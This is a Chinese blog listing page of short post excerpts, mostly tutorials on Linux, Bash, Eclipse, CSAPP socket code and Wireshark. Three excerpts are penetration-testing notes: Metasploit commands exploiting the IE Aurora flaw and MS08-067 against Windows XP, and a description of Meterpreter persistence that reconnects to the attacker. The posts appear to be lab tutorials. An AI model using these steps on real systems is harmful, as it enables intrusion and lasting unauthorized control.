- 博客(21)
- 资源 (16)
- 收藏
- 关注
原创 用Eclipse新建一个web项目没有自动生成web.xml
我们在Eclipse里面开发项目时,可能会出现这种情况,我们新建了一个web工程,但是却没有自动生成一个web.xml文件,这是生什么原因呢?我们首先打开Eclipse,如下: 我们可以看到在”WEB-INF“文件夹下没有web.xml文件。这是什么原因呢,我们来看看,我们首先来新建一个web工程,如下: “File”->”New”->”Dynamic Web Project” 点击上图中标出
2016-03-31 21:57:16 2332
原创 Linux Bash 程序题解
问题描述:设计一个程序 cuts,它由标准输入读取数据,获取由第一个参数 n 和第二个参数 m 所限定范围的数据,n 和 m 都是整数,即从输入的字符串中抽取第 n 个字符至第 m 个字符之间的所有字符(包括这两个字符)。例如:$ cuts 11 14this is a test of cuts program # 输入test # 显示结果方案一:利用bash的参数展开语法: ${para
2016-03-30 17:55:06 3369
原创 Linux hostname主机名配置及修改
这篇文章为大家介绍linux hostname主机名配置文件/etc/hosts,包括主机名的用途、配置文件的操作方法及修改主机名的步骤等,有需要的朋友,可以参考下1. 什么是Linux主机名无论在局域网还是INTERNET上,每台主机都有一个IP地址,是为了区分此台主机和彼台主机,也就是说IP地址就是主机的门牌号。但IP地址不方便记忆,所以又有了域名。域名只是在公网(Internet)中存在(以
2016-03-30 17:09:50 10637
原创 Bash eval命令及其常见用法
POSIX的解释: eval - construct command by concatenating arguments先感受下面的几行命令:[root@localhost shell]# set -- one two three # 设置 $1 $2 $3[root@localhost shell]# echo $1one[root@localhost shell]# n=1[r
2016-03-30 13:42:29 9526
原创 jar 文件双击运行
问题描述:windows 10 下双击 jar 文件闪退,设置打开方式为 java 或者 javaw 后依然无法正常运行解决方法:1.重新安装并配置 java 运行环境2.命令行下执行javaw -jar filename.jar3.创建批处理脚本,并设置打开方式这里我们在 %JAVA_HOME%\bin 目录下创建 javaw.bat 文件如下:@echo offstart javaw.exe
2016-03-27 17:18:00 1117
原创 ThinkPHP page添加分页参数
假设 A 页面有很多选项用于控制分页,选项对应的参数 param 可以通过 post 方法传递到 PHP 脚本。则把 param 加入到 page 中的代码如下:$param = $_POST['param']; //第一次通过 post 传递if (!$param) $param = $_GET['param']; // 之后通过 page 分页 get 方式传递$_GET['param']
2016-03-25 19:35:43 3817
原创 CSAPP 并发编程示例
1.基于进程的并发编程#include "csapp.h"void echo(int connfd);void sigchld_handler(int sig){ while (waitpid(-1, 0, WNOHANG) > 0) //准备好接受多个僵死进程 ; return;}int main(int argc, char **argv){ int
2016-03-25 18:43:57 665
原创 CSAPP echo 客户端和服务器的示例
学习套接字接口的最好方法是研究示例代码。下面展示了 echo 客户端的代码。在和服务器建立连接之后,客户端进入一个循环,反复从标准输入读取文本行,发送文本行给服务器,从服务器读取回送的行,并输出结果到标准输出。当 fgets 在标准输入上遇到 EOF 时,或者因为用户在键盘上键入 ctrl-d,或者因为在一个重定向的输入文件中用尽了所有的文本行时,循环就终止。/* echoclient.c */#
2016-03-25 18:35:11 2257
原创 CSAPP Tiny web 服务器源码分析及搭建运行
CSAPP Tiny Web 服务器源码分析 运行结果1. Web基础web客户端和服务器之间的交互使用的是一个基于文本的应用级协议HTTP(超文本传输协议)。一个web客户端(即浏览器)打开一个到服务器的因特网连接,并且请求某些内容。服务器响应所请求的内容,然后关闭连接。浏览器读取这些内容,并把它显示在屏幕上。 对于web客户端和服务器而言,内容是与一个MIME类型相关的字节序列。常见的MIME类型:
2016-03-25 17:21:50 5715 1
原创 VMware 未能初始化监视器
问题描述:VMware虚拟机无法打开内核设备“\.\Global\vmx86”: 系统找不到指定的文件。你想要在安装 VMware Workstation前重启吗?未能初始化监视器设备。方法一:net start vmcinet start vmx86net start VMnetuserifi方法二:尝试使用此命令:net start vmx86查看下%systemroot%\system3
2016-03-23 13:19:01 3352
原创 Xshell 服务器文件传输
本文主要介绍如何在 Xshell 终端下载/上传远程服务器的文件下面以 CentOS 为例: 1、安装 szrzyum install lrzsz2、下载服务器的文件到本地sz /path/to/file这时 Xshell 会弹出框框选择文件存放目录 3、上传文件到服务器rz /path/to/file这时 Xshell 会弹框选择要上传的文件,然后上传到命令指定的目录下
2016-03-10 15:52:36 697
原创 WPS word编辑图表数据的正确姿态
WPS 是跨平台的办公套件,这里就不多说了,下面开始讲故事。前段时间用 WPS word 做图表,依次选择 插入|图表|柱状图,然后右键图表,选择编辑数据,接着弹出excel。看到了吗,数据周围是有边框的,这时我们要删除系列1和系列2。选择 CD 两列后右键,注意是清除内容,不是上面的删除,如果选择删除整个图表的数据就无法编辑了。选择清除内容后边框还在的,而且边框是可以
2016-03-07 12:12:54 3755
原创 Linux find命令实例解析
查找两天前修改过的文件:find . -type f -mtime -2查找3天内修改过的文件:find -ctime -3find命令使用超过6天,空文件独立查询命令:find /data/backup -ctime +6 -exec rm -f {} \; 删除/data/backup目录下修改时间超过6天的文件。 find /data/backup -t
2016-03-05 09:08:39 534
原创 Metasploit 对 IE 浏览器的极光漏洞进行渗透利用
极光漏洞实际上是利用了堆喷射技术。下面我们来演示渗透过程。1、查看 win xp 系统状态目前的cpu和内存消耗极低。2、在kali linux下利用 metasploit 渗透。msf > use windows/browser/ms10_002_auroramsf exploit(ms10_002_aurora) > set payload windows/
2016-03-02 15:03:42 5025
原创 Wireshark 命令行捕获数据
在 Wireshark 程序目录中,包含两个命令行捕获工具。这两个工具分别是 Dumpcap 和 Tshark。当不能以图形界面方式捕获数据时,可以在命令行使用 dumpcap 或 tshark 程序实施捕获。一、使用 Dumpcap 捕获数据执行 dumpcap -h 可以查看参数详情。1、执行 dumpcap -D 查看本机可用的接口。D:\Program Files (x
2016-03-01 19:37:10 10851
原创 Wireshark 文件分割和合并
通常使用 Wireshark 处理一个较大的捕获文件时,可能处理速度会很慢,或者甚至没响应。当捕获文件超过 100MB 时,使用显示过滤器、添加列或构建图表都可能很慢。为了快速地分析数据,这时候可以将该文件分割为文件集。下面我们介绍如何进行大文件分割。一、使用 Capinfos 获取文件大小和包数Capinfos 是一个命令行工具,它可以查看关于捕获文件的基本信息。 Capinfos 包括
2016-03-01 18:47:03 29973
原创 Wireshark 重组 FTP 会话
在 Web 会话通信过程中,会话内容往往分散在很多的包中。通过使用重组功能可以解决这个问题。使用重组功能后,Wireshark将会重新组成一个新的会话。在使用重组功能前,一定要确保 Allow subdissector to reassemble TCP streams 选项已启用。如果没有启用,在 Wireshark 菜单栏中依次选择 Edit|Preferences|Protocols,
2016-03-01 15:42:54 3424
原创 windows cmd 命令行下打开文件夹图形界面
通过 cmd 命令行进入指定目录后如果想查看该目录下的文件需要输入 dir 命令,很不方便,我们可以在 cmd 下打开文件夹图形界面:explorer 目录例子:1、打开当前目录explorer .2、打开上级目录explorer ..3、打开任意目录explorer dirname
2016-03-01 14:33:43 22799 1
原创 Wireshark 地图化显示端点统计信息
当有端点统计数据后,分析人员可以借助 MaxMind GeoLite 数据库将 IP 地址转化为地理位置信息,从而将抽象的 IP 信息转化为地图信息。下面演示一个例子,将 Wireshark 配置使用 MaxMind GeoLite 数据库定位到一个地图上。1、打开 Wireshark2、在 http://dev.maxmind.com/geoip/legacy/geolite/ 下载免费
2016-03-01 13:22:09 2563
原创 Meterpreter 控制持久化
Meterpreter 的 persistence 脚本允许注入 Meterpreter 代理,以确保系统重启之后 Meterpreter 还能运行。如果是反弹连接方式,可以设置连接攻击机的时间间隔。如果是绑定方式,可以设置在指定时间绑定开放端口。如下所示,我们运行 persistence 脚本让系统开机自启动 Meterpreter (-X),10秒 (-i 10) 重连一次,使
2016-03-01 11:24:31 6186 1
原创 Metasploit 资源文件
之前我们通过 msfconsole 成功渗透 windows xp sp2 ,点此查看如果每次渗透都输入一大堆的命令显然很麻烦,MSF 终端可以运行自动化的脚本,即资源文件。其实它就是普通的文件,只不过里面是一行行的命令。下面我们来看看渗透 xp 的自动化脚本# cat autoexploit.rcuse exploit/windows/smb/ms08_067_netapi
2016-03-01 10:11:40 1516
统计学习方法 (李航)
2017-04-15
机器学习实战(英文+中文PDF+源码)
2017-04-15
PEview.exe
2016-04-08
修复windows7系统主题
2015-07-31
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人